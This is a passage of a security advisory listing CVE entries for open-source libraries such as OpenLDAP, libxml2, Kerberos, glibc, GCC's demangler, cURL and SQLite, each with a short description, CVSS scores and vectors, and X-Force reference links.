**[CVE-2020-36227](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36227>) \n** DESCRIPTION: **OpenLDAP is vulnerable to a denial of service, caused by an infinite loop in the cancel_extop Cancel operation. By sending a specially-crafted packet, a remote attacker could exploit this vulnerability to cause slapd to crash, and results in a denial of service condition. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/195556](<https://exchange.xforce.ibmcloud.com/vulnerabilities/195556>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2020-36228](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36228>) \n** DESCRIPTION: **OpenLDAP is vulnerable to a denial of service, caused by an integer underflow in the Certificate List Exact Assertion processing. By sending a specially-crafted packet, a remote attacker could exploit this vulnerability to cause slapd to crash, and results in a denial of service condition. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/195557](<https://exchange.xforce.ibmcloud.com/vulnerabilities/195557>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2020-36229](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36229>) \n** DESCRIPTION: **OpenLDAP is vulnerable to a denial of service, caused by a flaw in the X.509 DN parsing in ad_keystring. By sending a specially-crafted packet, a remote attacker could exploit this vulnerability to cause slapd to crash, and results in a denial of service condition. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/195558](<https://exchange.xforce.ibmcloud.com/vulnerabilities/195558>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2020-36230](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36230>) \n** DESCRIPTION: **OpenLDAP is vulnerable to a denial of service, caused by an assertion failure in the X.509 DN parsing in decode.c ber_next_element. By sending a specially-crafted packet, a remote attacker could exploit this vulnerability to cause slapd to crash, and results in a denial of service condition. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/195559](<https://exchange.xforce.ibmcloud.com/vulnerabilities/195559>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2020-25710](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-25710>) \n** DESCRIPTION: **OpenLDAP is vulnerable to a denial of service, caused by an assertion failure in csnNormalize23 function in servers/slapd/schema_init.c. By sending a specially crafted packet, a remote attacker could exploit this vulnerability to cause a denial of service. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/192487](<https://exchange.xforce.ibmcloud.com/vulnerabilities/192487>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2020-25709](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-25709>) \n** DESCRIPTION: **OpenLDAP is vulnerable to a denial of service, caused by an assertion failure in certificateListValidate function in servers/slapd/schema_init.c. By sending a specially crafted packet, a remote attacker could exploit this vulnerability to cause a denial of service. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/192486](<https://exchange.xforce.ibmcloud.com/vulnerabilities/192486>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2019-20387](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20387>) \n** DESCRIPTION: **libsolv is vulnerable to a denial of service, caused by a heap-based buffer over-read in the repodata_schema2id function in repodata.c. By sending a specially-crafted request, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/175508](<https://exchange.xforce.ibmcloud.com/vulnerabilities/175508>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2016-9574](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-9574>) \n** DESCRIPTION: **Mozilla Network Security Services (NSS), as used in Mozilla Firefox is vulnerable to a denial of service, caused by an error during the session handshake. A remote attacker could exploit this vulnerability using using SessionTicket extension and ECDHE-ECDSA to cause a denail of service. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/148073](<https://exchange.xforce.ibmcloud.com/vulnerabilities/148073>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-3537](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3537>) \n** DESCRIPTION: **GNOME libxml2 is vulnerable to a denial of service, caused by a NULL pointer dereference flaw when parsing XML mixed content in recovery mode and post-validated. A remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/203084](<https://exchange.xforce.ibmcloud.com/vulnerabilities/203084>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2017-16932](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16932>) \n** DESCRIPTION: **Xmlsoft libxml2 is vulnerable to a denial of service, caused by an infinite recursion issue in parameter entities. By sending a specially-crafted request, a remote attacker could exploit this vulnerability to exhaust available memory on the system. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/135489](<https://exchange.xforce.ibmcloud.com/vulnerabilities/135489>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2020-7595](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7595>) \n** DESCRIPTION: **GNOME libxml2 is vulnerable to a denial of service, caused by an error in xmlStringLenDecodeEntities in parser.c. An attacker could exploit this vulnerability to cause the application to enter into an infinite loop. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/175333](<https://exchange.xforce.ibmcloud.com/vulnerabilities/175333>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-36222](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36222>) \n** DESCRIPTION: **MIT Kerberos (aka krb5) is vulnerable to a denial of service, caused by a NULL pointer dereference flaw in ec_verify in kdc/kdc_preauth_ec.c in the Key Distribution Center (KDC). By sending a specially-crafted request, a remote attacker could exploit this vulnerability to cause the daemon to crash. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/206318](<https://exchange.xforce.ibmcloud.com/vulnerabilities/206318>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2017-11462](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11462>) \n** DESCRIPTION: **A double free vulnerability in MIT Kerberos 5 (aka krb5) has an unknown impact and attack vector involving automatic deletion of security contexts on error. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/132060](<https://exchange.xforce.ibmcloud.com/vulnerabilities/132060>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N) \n \n** CVEID: **[CVE-2020-28196](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28196>) \n** DESCRIPTION: **MIT Kerberos 5 (aka krb5) is vulnerable to a denial of service, caused by an unbounded recursion flaw in lib/krb5/asn.1/asn1_encode.c. By sending a specially-crafted ASN.1-encoded Kerberos message, a remote attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/191321](<https://exchange.xforce.ibmcloud.com/vulnerabilities/191321>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2017-15671](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-15671>) \n** DESCRIPTION: **GNU C Library is vulnerable to a denial of service, caused by a memory leak in the glob function in glob.c. A remote attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/133909](<https://exchange.xforce.ibmcloud.com/vulnerabilities/133909>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2020-25219](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-25219>) \n** DESCRIPTION: **libproxy is vulnerable to a denial of service, caused by an uncontrolled recursion in url::recvline in url.cpp. By sending a specially crafted request, a remote attacker could exploit this vulnerability to cause stack exhaustion. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/188145](<https://exchange.xforce.ibmcloud.com/vulnerabilities/188145>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2018-9234](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9234>) \n** DESCRIPTION: **GnuPG could allow a remote attacker to bypass security restrictions, caused by the failure to enforce a configuration in which key certification requires an offline master Certify key. By sending a specially-crafted request, an attacker could exploit this vulnerability to sign the keys of others with only a signing subkey. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/141380](<https://exchange.xforce.ibmcloud.com/vulnerabilities/141380>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N) \n \n** CVEID: **[CVE-2021-20231](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-20231>) \n** DESCRIPTION: **GnuTLS is vulnerable to a denial of service, caused by a use-after-free issue in client sending key_share extension. By sending a specially-crafted request, an attacker could exploit this vulnerability to cause memory corruption and other consequences. \nCVSS Base score: 7.4 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/198173](<https://exchange.xforce.ibmcloud.com/vulnerabilities/198173>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H) \n \n** CVEID: **[CVE-2021-20232](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-20232>) \n** DESCRIPTION: **GnuTLS is vulnerable to a denial of service, caused by a use-after-free issue in client_send_params in lib/ext/pre_shared_key.c. By sending a specially-crafted request, an attacker could exploit this vulnerability to cause memory corruption and other consequences. \nCVSS Base score: 7.4 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/198172](<https://exchange.xforce.ibmcloud.com/vulnerabilities/198172>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H) \n \n** CVEID: **[CVE-2021-22947](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22947>) \n** DESCRIPTION: **cURL libcurl is vulnerable to a man-in-the-middle attack, caused by a flaw when connecting to an IMAP, POP3, SMTP or FTP server to exchange data securely using STARTTLS to upgrade the connection to TLS level. An attacker could exploit this vulnerability to launch a man-in-the-middle attack and gain access to the communication channel between endpoints to obtain sensitive information or further compromise the system. \nCVSS Base score: 7.4 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/209453](<https://exchange.xforce.ibmcloud.com/vulnerabilities/209453>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N) \n \n** CVEID: **[CVE-2020-1752](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1752>) \n** DESCRIPTION: **GNU glibc could allow a local attacker to execute arbitrary code on the system, caused by a use-after-free. By creating a specially crafted path, an attacker could exploit this vulnerability to execute arbitrary code or cause a denial of service. \nCVSS Base score: 7.4 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/181313](<https://exchange.xforce.ibmcloud.com/vulnerabilities/181313>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2019-19603](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19603>) \n** DESCRIPTION: **An error during handling of CREATE TABLE and CREATE VIEW statements in SQLite has an unknown impact via a specially crafted table name. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/172765](<https://exchange.xforce.ibmcloud.com/vulnerabilities/172765>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2020-14155](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14155>) \n** DESCRIPTION: **PCRE could allow a remote attacker to execute arbitrary code on the system, caused by an integer overflow in libpcre. By sending a request with a large number, an attacker could exploit this vulnerability to execute arbitrary code on the system or cause the application to crash. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/183499](<https://exchange.xforce.ibmcloud.com/vulnerabilities/183499>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2020-24870](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-24870>) \n** DESCRIPTION: **LibRaw is vulnerable to a stack-based buffer overflow, caused by improper bounds checking by ::identify_process_dng_fields. A remote attacker could overflow a buffer and execute arbitrary code on the system. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/203026](<https://exchange.xforce.ibmcloud.com/vulnerabilities/203026>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2017-10685](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-10685>) \n** DESCRIPTION: **ncurses (new curses) library could allow a remote authenticated attacker to execute arbitrary code on the system, caused by a format string in the fmt_entry function. By sending specially-crafted format string specifiers in the argument, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/128176](<https://exchange.xforce.ibmcloud.com/vulnerabilities/128176>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2017-10684](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-10684>) \n** DESCRIPTION: **ncurses (new curses) library is vulnerable to a stack-based buffer overflow, caused by improper bounds checking by the fmt_entry function. By sending an overly long string argument, a remote attacker could overflow a buffer and execute arbitrary code on the system or cause the application to crash. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/128175](<https://exchange.xforce.ibmcloud.com/vulnerabilities/128175>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2016-6262](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6262>) \n** DESCRIPTION: **libidn is vulnerable to a stack-based buffer overflow, caused by improper validation of input in idna.c. A remote attacker could overflow a buffer and execute arbitrary code on the system. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/115586](<https://exchange.xforce.ibmcloud.com/vulnerabilities/115586>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2016-6261](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6261>) \n** DESCRIPTION: **libidn is vulnerable to a stack-based buffer overflow, caused by an out-of-bounds read error in idna_to_ascii_4i function in idna.c. A remote attacker could overflow a buffer and execute arbitrary code on the system. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/115585](<https://exchange.xforce.ibmcloud.com/vulnerabilities/115585>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2015-8948](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-8948>) \n** DESCRIPTION: **libidn is vulnerable to a stack-based buffer overflow, caused by an out-of-bounds read error. A remote attacker could overflow a buffer and execute arbitrary code on the system. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/115588](<https://exchange.xforce.ibmcloud.com/vulnerabilities/115588>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2016-9586](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-9586>) \n** DESCRIPTION: **cURL/libcurl is vulnerable to a buffer overflow, caused by improper boundary checks by the floating point conversion. By sending a specially crafted string, a remote attacker could overflow a buffer and execute arbitrary code on the system. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/119929](<https://exchange.xforce.ibmcloud.com/vulnerabilities/119929>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2016-8619](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-8619>) \n** DESCRIPTION: **cURL/libcurl could allow a remote attacker to execute arbitrary code on the system, caused by double-free error in the krb5 code. An attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/118637](<https://exchange.xforce.ibmcloud.com/vulnerabilities/118637>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2016-8618](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-8618>) \n** DESCRIPTION: **cURL/libcurl could allow a remote attacker to execute arbitrary code on the system, caused by double-free error in the curl_maprintf() function on systems using 32 bit size_t variables. An attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/118645](<https://exchange.xforce.ibmcloud.com/vulnerabilities/118645>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2016-1951](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-1951>) \n** DESCRIPTION: **Mozilla Netscape Portable Runtime (NSPR) is vulnerable to a buffer overflow, caused by multiple integer overflows in io/prprf.c. By sending an overly long string to a PR_*printf function, a remote attacker could overflow a buffer and execute arbitrary code on the system or cause the application to crash. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/116020](<https://exchange.xforce.ibmcloud.com/vulnerabilities/116020>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2017-7501](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7501>) \n** DESCRIPTION: **rpm could allow a local attacker to launch a symlink attack, caused by the use of a temporary files with predictable names when installing an RPM. A local authenticated attacker could exploit this vulnerability by creating a symbolic link from a temporary file to arbitrary location, which could allow the attacker to modify content, gain elevated privileges on the system or cause a denial of service. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/132734](<https://exchange.xforce.ibmcloud.com/vulnerabilities/132734>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2017-7500](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7500>) \n** DESCRIPTION: **rpm could allow a local attacker to launch a symlink attack, caused by the improper handling of RPM installations when a destination path was a symbolic link to a directory. A local authenticated attacker could exploit this vulnerability by creating a symbolic link from a temporary file to directories, which could allow the attacker to gain root privileges on the system. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/132733](<https://exchange.xforce.ibmcloud.com/vulnerabilities/132733>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2017-16931](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16931>) \n** DESCRIPTION: **Xmlsoft libxml2 is vulnerable to a buffer overflow, caused by improper handling of parameter-entity references in xmlParserHandlePEReference function. By using a percent character in a DTD name, a remote attacker could overflow a buffer and execute arbitrary code on the system. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/135488](<https://exchange.xforce.ibmcloud.com/vulnerabilities/135488>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2016-4492](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4492>) \n** DESCRIPTION: **GNU Compiler Collection (GCC) could allow a remote attacker to execute arbitrary code on the system, caused by a write access violation on destination operand in the libiberty demangler. An attacker could exploit this vulnerability to execute arbitrary code on the system or cause the application to crash. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/116386](<https://exchange.xforce.ibmcloud.com/vulnerabilities/116386>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2016-4491](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4491>) \n** DESCRIPTION: **GNU Compiler Collection (GCC) is vulnerable to a stack-based buffer overflow, caused by an infinite recursion in d_print_comp in the libiberty demangler library. By sending a specially crafted argument, a remote attacker could overflow a buffer and execute arbitrary code on the system or cause the application to crash. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/116385](<https://exchange.xforce.ibmcloud.com/vulnerabilities/116385>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2016-4490](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4490>) \n** DESCRIPTION: **GNU Compiler Collection (GCC) could allow a remote attacker to execute arbitrary code on the system, caused by a write access violation in cp-demangle.c. An attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/116384](<https://exchange.xforce.ibmcloud.com/vulnerabilities/116384>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2016-4489](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4489>) \n** DESCRIPTION: **GNU Compiler Collection (GCC) could allow a remote attacker to execute arbitrary code on the system, caused by an integer overflow in the demangling of virtual tables in method gnu_special. An attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/116383](<https://exchange.xforce.ibmcloud.com/vulnerabilities/116383>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2016-4488](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4488>) \n** DESCRIPTION: **GNU Compiler Collection (GCC) could allow a remote attacker to execute arbitrary code on the system, caused by a use-after-free to array ktypevec if the libiberty demangler is called with a certain class signature. An attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/116382](<https://exchange.xforce.ibmcloud.com/vulnerabilities/116382>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2016-4487](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4487>) \n** DESCRIPTION: **GNU Compiler Collection (GCC) could allow a remote attacker to execute arbitrary code on the system, caused by a use-after-free if the libiberty demangler is called with a certain class signature. An attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/116381](<https://exchange.xforce.ibmcloud.com/vulnerabilities/116381>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2016-2226](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2226>) \n** DESCRIPTION: **GNU Compiler Collection (GCC) is vulnerable to a buffer overflow, caused by an integer overflow in cplus-dem.c when it tries to demangle specially crafted function arguments in the libiberty binary. By sending a specially crafted argument, a remote attacker could overflow a buffer and execute arbitrary code on the system or cause the application to crash. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/116380](<https://exchange.xforce.ibmcloud.com/vulnerabilities/116380>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2019-20218](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20218>) \n** DESCRIPTION: **An unspecified error in selectExpander in select.c in SQLite has an unknown impact and attack vector. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/173900](<https://exchange.xforce.ibmcloud.com/vulnerabilities/173900>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2017-10989](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-10989>) \n** DESCRIPTION: **SQLite is vulnerable to a heap-based buffer overflow, caused by improper bounds checking by getNodeSize function in ext/rtree/rtree.c. By using a specially-crafted database, a remote attacker could overflow a buffer and cause unspecified impacts on the system. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/128354](<https://exchange.xforce.ibmcloud.com/vulnerabilities/128354>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2019-9169](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9169>) \n** DESCRIPTION: **GNU glibc is vulnerable to a heap-based buffer overflow, caused by a buffer over-read flaw in the proceed_next_node function in posix/regexec.c. By sending a specially-crafted argument using a case-insensitive regular-expression match, a remote attacker could overflow a buffer and execute arbitrary code on the system. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/157800](<https://exchange.xforce.ibmcloud.com/vulnerabilities/157800>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2016-4429](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4429>) \n** DESCRIPTION: **GNU C Library (glibc or libc6) is vulnerable to a stack-based buffer overflow, caused by improper bounds checking by the clntudp_call function within sunrpc/clnt_udp.c. By sending specially-crafted ICMP and UDP packets, a remote attacker could overflow a buffer and execute arbitrary code on the system or cause the application to crash. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ 